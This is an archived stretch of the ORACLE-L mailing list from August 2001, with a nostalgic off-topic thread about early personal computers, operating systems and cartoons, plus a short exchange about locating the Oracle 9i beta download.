Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Kevin Kostyszyn
   INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).


_
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Rachel Carmichael
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Kevin Kostyszyn

Hahahah, that's a good idea, that would very funny!!

-Original Message-
Michael (TEM)
Sent: Thursday, August 02, 2001 2:12 PM
To: Multiple recipients of list ORACLE-L


Hmmm...I had one of those old Compaq's, too.  I was a consultant at the
time, and my partner had an Osborne.  We'd be going from San Diego to
Savannah via DFW, and we'd have to strap those two monsters to a set
of luggage wheels and haul a** through the airport to make the connection.

You could have fun with that, y'know.  You could gut it and install a
SBC (Single-board computer) card into the backplane with a 40G disk and
you'd have a nice modern machine - well except for the monitor.  But
I can imagine bringing that into a roomfull of laptops and watching
their users smirk until I fired it up and the lights dimmed...

---
===
Michael P. Vergara  | Don't worry about the world ending today;
Oracle DBA  | it's already tomorrow in Australia.
Guidant Corporation |  - Charles Schulz


-Original Message-
Sent: Thursday, August 02, 2001 9:42 AM
To: Multiple recipients of list ORACLE-L


yeah, my father still try's to impress me with stories of punch cards and
such.  It's pretty funny.  The oldest computer I know of and still have is a
compaq portable computer.  It has the old 5 1/4 floppy drives and a
little tiny screen.  It's basically a suitcase, weighs about 40 pounds, the
bottom is the keyboard.  Kinda cool, I remember playing games on it as a kid
and thinking it was the most amazing thing.  Now it makes a good foot rest,
but that's about it:)
kk

-Original Message-
Sent: Thursday, August 02, 2001 10:52 AM
To: Multiple recipients of list ORACLE-L


And just think about the PC being an advanced system for some of us.

Wait until we again start talking about using paper tapes and having to use
scotch tape to put them back together to run them through.  Or even the
older guys that talk about switch boards.  I am not as old as them.  My
computer days just go back to the mid 70's.


 I love this stuff(being a nerd wannabe), but I don't have a
 frickin clue
 what any of you are talking about:)
--
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Vergara, Michael (TEM)
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Kevin Kostyszyn
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: Oracle Beta

2001-08-02 Thread Kevin Kostyszyn

to be quite honest I can't be sure what it is.  When I hit the link in the
email it opens up, but before I hit it I have to be logged on as a user with
privelages to get to it.  I am pretty sure that if you just go to OTN there
is a link for a sun download?
KK

-Original Message-
Dandekar
Sent: Thursday, August 02, 2001 1:11 PM
To: Multiple recipients of list ORACLE-L


What is it? I mean the URL to 9i Beta for Windows.
No Sun of Mine (no test sun machine available right now..)

-Rahul
- Original Message -
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Sent: Thursday, August 02, 2001 12:16 PM


 Yes I am replying to my own email, nevermind, I found it:)
 KK

 -Original Message-
 Kostyszyn
 Sent: Thursday, August 02, 2001 11:11 AM
 To: Multiple recipients of list ORACLE-L


 Hi all,
 Does anyone know the URL for the Oracle 9i Beta program.  I need to
 download the NT version of 9i.
 Thanks in advance:)

 Sincerely,
 Kevin Kostyszyn
 DBA
 Dulcian, Inc
 www.dulcian.com
 [EMAIL PROTECTED]

 --
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 --
 Author: Kevin Kostyszyn
   INET: [EMAIL PROTECTED]

 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).
 --
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 --
 Author: Kevin Kostyszyn
   INET: [EMAIL PROTECTED]

 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).

--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Rahul Dandekar
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Kevin Kostyszyn
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Rachel Carmichael

Famous? OY!

Ivan -- we usually manage one list get-together at the conferences. I'll 
gladly swap stories over beer with you.

I work at a multi-media music company with an online presence (that's a 
quote from marketing). The average age here is about 23. I *think* the CEO 
is older than me, but if he is, it's close.

My 'hood is NYC, born and raised in Queens, second-generation 
Russian-American Jew (although according to an Anthropology teacher I had in 
college, Jewish is an ethnic background in and of itself)


From: Norwood Bradly A [EMAIL PROTECTED]
Reply-To: [EMAIL PROTECTED]
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff
Date: Thu, 02 Aug 2001 09:16:32 -0800

Thanks, Ivan.
Most of us are probably from some 'hood.  Mine was the barrio of East L.A.
as a first generation Mexican-American.
The great equalizers are self-education, self-esteem and self-motivation.
When you are famous like Rachel or Steve Adams, we expect free autographs 
on
your books.

-Original Message-
Sent: Thursday, August 02, 2001 11:36 AM
To: Multiple recipients of list ORACLE-L



I have to agree with Kevin, this thread is great. However it makes me feel
like I really am in the wrong profession, at the wrong time in the wrong
place :( .

In 1981 I was 5 years old and I've never really touched a computer until
about 3 years ago, let alone know any of the answers to any of those
questions.

You guys are great! I have learned so much from this list.  Not only the
technical stuff but learning about the IT and dba culture from you all is
invaluable!  I went to school for psych, so some of this old school talk
that us young ones would hear from college cis professors I unfortunately
never received, much less the knowledge of that curriculum.

I am speechless when I step back and look at this list and realize how
diverse this list really is.  I mean we have list members from so many 
parts
of the world and from so many different walks of life.  Who would have ever
thought that this young Puerto Rican punk from the 'hood would have 
anything
in common with you all?

I can see us all now at a bar after an oracle event, me in my baggy jeans,
timberland boots, Iceberg shirt, etc. enjoying beers with you all. Everyone
enjoying and sharing a common bond (dba, oracle) that brings us all
together.  Most of you all's peers wouldn't even look our way or have two
words for me and my friends in our natural environment. But I think I'd 
feel
just as comfortable around you all as I do at a block party in Bed-Stuy or
chilling with some of my friends in Liberty City, Miami.

All I can say the list is: I GIVE YOU ALL PROPS AND I GOT MAD LOVE FOR 
YALL!
(translation: I hold you all in high esteem and greatly admire and respect
you all). Thanks for everything. Ivan



_
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Rachel Carmichael
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT

2001-08-02 Thread Vergara, Michael (TEM)

I sure hope somebody is capturing this thread!  This is a history of
computing as seen by the people in the trenches!

Now...

 3) What company made the first Portable (luggable) computers?
It was either Kaypro or Osborne.  The Ozzy had a little tiny 40-column
screen and dual 5.25 floppies.  The Kaypro had an 80-column screen
and dual floppies.  

If I remember correctly, Microsoft bought QDOS from Seattle Computer Works 
for around $50k so they could have an O/S for IBM's first PC.  I cannot
remember the name of the guy who owned CP/M, but they would not sign IBM's
non-disclosure agreement, and sent IBM to Gates.  MS had nothing to lose
so they signed and the rest is history.

---
===
Michael P. Vergara  | Don't worry about the world ending today;
Oracle DBA  | it's already tomorrow in Australia.
Guidant Corporation |  - Charles Schulz


-Original Message-
Sent: Thursday, August 02, 2001 10:41 AM
To: Multiple recipients of list ORACLE-L



 The cartridge that came with the 2600 was COMBAT.  It had a tank game
 and a biplane game.  If they added another cartridge, it must have been
 in the later years.  And the whole package cost $150

Now I remember...

 1) Who started Atari, what else did he start?
 2) What Graphical computer preceeded the Mac?

Lisa, thats easy.  I remember seeing a demo of it.  I was totally amazed.
Everyone was drooling over it.  It was big and expensive, and then the Mac
came out and they were selling like crazy.  Everyone had one except for me.


 CP/M Control Program for Microcomputers - It was the first big OS.
 2.5 What was the first Big Time Word processor that eventually lost out
 to Word?

WordPerfect.  Not sure they lost out.  I believe it was a mix of they didnt
push there Windows version like MS, and then of course, the MS marketing
machine.  They were another company that had 90%+ of the market and thought
they were the king, untoucable and arrogant then along came MS with Word.
Its been the same story over and over with every company that has gone up
against MS.  And Palm/Handspring is next...

 3) What company made the first Portable (luggable) computers?

Oh I cant think of the name.  But the metal case was sort of a greyish blue,
and it had a lid which was the keyboard.  And it had a little monochrome
monitor, and I believe it was 5 1/4 floppy drive.

 The first MAC (128K, 400K floppy) had no handle, I had one(still have
 it)
 4) What was Special about the inside of the Mac case?

It has the signatures of all the creators.

 5) Who wrote QDOS?
 
 sigh, I agree, the good ol' daze




 [EMAIL PROTECTED] 08/02/01 06:57AM 
On Thu, 2 Aug 2001,Boivin, Patrice J scribbled on the wall in glitter
crayon:

-Was CP/M the OS that Bill Gates bought just before making his big
deal with
-IBM?  Can't remember.
-
-Regards,
-Patrice Boivin
-Systems Analyst (Oracle Certified DBA)
-
-  -Original Message-
-  CP/M [or is it CPM i've seen it written both ways.]
-
-
AFAIK, no.  it was an OS from a small local company called QDOS [Quick
and
Dirty Operating System] if i'm not suffering from too much bit rot.

CP/M was the other OS in contention.

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Vergara, Michael (TEM)
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: Oracle Beta

2001-08-02 Thread Boivin, Patrice J

Yes, please.

: )


Patrice Boivin
Systems Analyst (Oracle Certified DBA)

Systems Admin  Operations | Admin. et Exploit. des systèmes
Technology Services| Services technologiques
Informatics Branch | Direction de l'informatique 
Maritimes Region, DFO  | Région des Maritimes, MPO

E-Mail: [EMAIL PROTECTED] mailto:[EMAIL PROTECTED] 


-Original Message-
From:   Igor Neyman [SMTP:[EMAIL PROTECTED]]
Sent:   Thursday, August 02, 2001 1:51 PM
To: Multiple recipients of list ORACLE-L
Subject:Re: Oracle Beta

Could you please share, what you found?

Igor Neyman, OCP DBA
Perceptron, Inc.
(734)414-4627
[EMAIL PROTECTED]
  

- Original Message - 
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Sent: Thursday, August 02, 2001 12:16 PM


 Yes I am replying to my own email, nevermind, I found it:)
 KK
 
 -Original Message-
 Kostyszyn
 Sent: Thursday, August 02, 2001 11:11 AM
 To: Multiple recipients of list ORACLE-L
 
 
 Hi all,
 Does anyone know the URL for the Oracle 9i Beta program.  I need
to
 download the NT version of 9i.
 Thanks in advance:)
 
 Sincerely,
 Kevin Kostyszyn
 DBA
 Dulcian, Inc
 www.dulcian.com
 [EMAIL PROTECTED]
 
 -- 
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 -- 
 Author: Kevin Kostyszyn
   INET: [EMAIL PROTECTED]
 
 Fat City Network Services-- (858) 538-5051  FAX: (858)
538-5051
 San Diego, California-- Public Internet access / Mailing
Lists


 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and
in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You
may
 also send the HELP command for other information (like
subscribing).
 -- 
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 -- 
 Author: Kevin Kostyszyn
   INET: [EMAIL PROTECTED]
 
 Fat City Network Services-- (858) 538-5051  FAX: (858)
538-5051
 San Diego, California-- Public Internet access / Mailing
Lists


 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and
in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You
may
 also send the HELP command for other information (like
subscribing).

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Igor Neyman
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing
Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Boivin, Patrice J
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Farnsworth, Dave

-Okay, who remembers Fractured Fairy Tales and the Professor and his
-boy Sherman?

On black and white TV!!  :(

-Original Message-
Sent: Thursday, August 02, 2001 1:12 PM
To: Multiple recipients of list ORACLE-L


Okay, who remembers Fractured Fairy Tales and the Professor and his boy 
Sherman?


From: Farnsworth, Dave [EMAIL PROTECTED]
Reply-To: [EMAIL PROTECTED]
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff
Date: Thu, 02 Aug 2001 08:41:38 -0800

And the question (still yet to be properly answered) is How many licks 
does
it take to get to the center of a Tootsie Pop?

Very nice!!  I saw that all the time on my Saturdays watching Rocky and
Bullwinkel, Tom and Jerry and my favorite, Bugs Bunny!!

Dave

-Original Message-
Sent: Thursday, August 02, 2001 10:27 AM
To: Multiple recipients of list ORACLE-L


And the question (still yet to be properly answered) is How many licks 
does
it take to get to the center of a Tootsie Pop?

  I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3.
 
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Page, Bruce
   INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Farnsworth, Dave
   INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).


_
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Rachel Carmichael
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Farnsworth, Dave
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT

2001-08-02 Thread JOE TESTA



the number of licks top get to the center of a 
tootsiepop.

joe

 [EMAIL PROTECTED] 08/02/01 10:15AM 
I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 
3.For those not in the US, it's from an old TV commercial.I 
started playing on Commodore-64's in high school in 1982.I've still got some 
of those Verbatim 5.25 disks in the closet at home.  
What is the language that uses a turtle for teaching children about 
computers? What language was it based on? --Please see 
the official ORACLE-L FAQ: http://www.orafaq.com--Author: 
Anderson, Brian INET: [EMAIL PROTECTED]Fat 
City Network Services -- (858) 538-5051 FAX: (858) 
538-5051San Diego, California -- 
Public Internet access / Mailing 
ListsTo 
REMOVE yourself from this mailing list, send an E-Mail messageto: 
[EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and inthe message 
BODY, include a line containing: UNSUB ORACLE-L(or the name of mailing list 
you want to be removed from). You mayalso send the HELP command for 
other information (like subscribing).


RE: Oracle Beta

2001-08-02 Thread Kevin Kostyszyn

Sure, but I didnn't really find anything.  I guess my company is part of
the beta test crap thing, so Oracle sent us an email with a link to the site
on it.  Had to get a seperate username and password though, mine wouldn't
work.  Think I should have just waited for the damn cd's to arrive, because
these are some huge files.
KK

-Original Message-
Sent: Thursday, August 02, 2001 12:51 PM
To: Multiple recipients of list ORACLE-L


Could you please share, what you found?

Igor Neyman, OCP DBA
Perceptron, Inc.
(734)414-4627
[EMAIL PROTECTED]


- Original Message -
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Sent: Thursday, August 02, 2001 12:16 PM


 Yes I am replying to my own email, nevermind, I found it:)
 KK

 -Original Message-
 Kostyszyn
 Sent: Thursday, August 02, 2001 11:11 AM
 To: Multiple recipients of list ORACLE-L


 Hi all,
 Does anyone know the URL for the Oracle 9i Beta program.  I need to
 download the NT version of 9i.
 Thanks in advance:)

 Sincerely,
 Kevin Kostyszyn
 DBA
 Dulcian, Inc
 www.dulcian.com
 [EMAIL PROTECTED]

 --
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 --
 Author: Kevin Kostyszyn
   INET: [EMAIL PROTECTED]

 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).
 --
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 --
 Author: Kevin Kostyszyn
   INET: [EMAIL PROTECTED]

 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).

--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Igor Neyman
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Kevin Kostyszyn
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT

2001-08-02 Thread Ron Rogers

That ran the same time a bullwinkle. How about Fess Parker as Davy Crocket. Or Red 
Skelton's show with Freddy the freeloader?
ROR mô¿ôm

 [EMAIL PROTECTED] 08/02/01 02:11PM 
Okay, who remembers Fractured Fairy Tales and the Professor and his boy 
Sherman?


From: Farnsworth, Dave [EMAIL PROTECTED]
Reply-To: [EMAIL PROTECTED] 
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff
Date: Thu, 02 Aug 2001 08:41:38 -0800

And the question (still yet to be properly answered) is How many licks 
does
it take to get to the center of a Tootsie Pop?

Very nice!!  I saw that all the time on my Saturdays watching Rocky and
Bullwinkel, Tom and Jerry and my favorite, Bugs Bunny!!

Dave

-Original Message-
Sent: Thursday, August 02, 2001 10:27 AM
To: Multiple recipients of list ORACLE-L


And the question (still yet to be properly answered) is How many licks 
does
it take to get to the center of a Tootsie Pop?

  I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3.
 
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com 
--
Author: Page, Bruce
   INET: [EMAIL PROTECTED] 

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com 
--
Author: Farnsworth, Dave
   INET: [EMAIL PROTECTED] 

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).


_
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp 

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com 
-- 
Author: Rachel Carmichael
  INET: [EMAIL PROTECTED] 

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).

--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Ron Rogers
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT

2001-08-02 Thread Grabowy, Chris


 The cartridge that came with the 2600 was COMBAT.  It had a tank game
 and a biplane game.  If they added another cartridge, it must have been
 in the later years.  And the whole package cost $150

Now I remember...

 1) Who started Atari, what else did he start?
 2) What Graphical computer preceeded the Mac?

Lisa, thats easy.  I remember seeing a demo of it.  I was totally amazed.
Everyone was drooling over it.  It was big and expensive, and then the Mac
came out and they were selling like crazy.  Everyone had one except for me.


 CP/M Control Program for Microcomputers - It was the first big OS.
 2.5 What was the first Big Time Word processor that eventually lost out
 to Word?

WordPerfect.  Not sure they lost out.  I believe it was a mix of they didnt
push there Windows version like MS, and then of course, the MS marketing
machine.  They were another company that had 90%+ of the market and thought
they were the king, untoucable and arrogant then along came MS with Word.
Its been the same story over and over with every company that has gone up
against MS.  And Palm/Handspring is next...

 3) What company made the first Portable (luggable) computers?

Oh I cant think of the name.  But the metal case was sort of a greyish blue,
and it had a lid which was the keyboard.  And it had a little monochrome
monitor, and I believe it was 5 1/4 floppy drive.

 The first MAC (128K, 400K floppy) had no handle, I had one(still have
 it)
 4) What was Special about the inside of the Mac case?

It has the signatures of all the creators.

 5) Who wrote QDOS?
 
 sigh, I agree, the good ol' daze




 [EMAIL PROTECTED] 08/02/01 06:57AM 
On Thu, 2 Aug 2001,Boivin, Patrice J scribbled on the wall in glitter
crayon:

-Was CP/M the OS that Bill Gates bought just before making his big
deal with
-IBM?  Can't remember.
-
-Regards,
-Patrice Boivin
-Systems Analyst (Oracle Certified DBA)
-
-  -Original Message-
-  CP/M [or is it CPM i've seen it written both ways.]
-
-
AFAIK, no.  it was an OS from a small local company called QDOS [Quick
and
Dirty Operating System] if i'm not suffering from too much bit rot.

CP/M was the other OS in contention.

--
Bill Thater ORACLE DBA
Telergy,Inc.   [EMAIL PROTECTED] 

It's got to come from the heart if you want it to work!

IBM: Into Building Money

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com 
-- 
Author: Thater, William
  INET: [EMAIL PROTECTED] 

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Arich Henneman
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Grabowy, Chris
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Sherman, Edward

Mr. Peabody and Sherman?
Of course.

I was into Creepy Crawlers and Vac-U-Form back then but I'll bet you
were more into Incredible Edibles or Fun Flowers.

Cheers

-Original Message-
Sent: Thursday, August 02, 2001 2:12 PM
To: Multiple recipients of list ORACLE-L


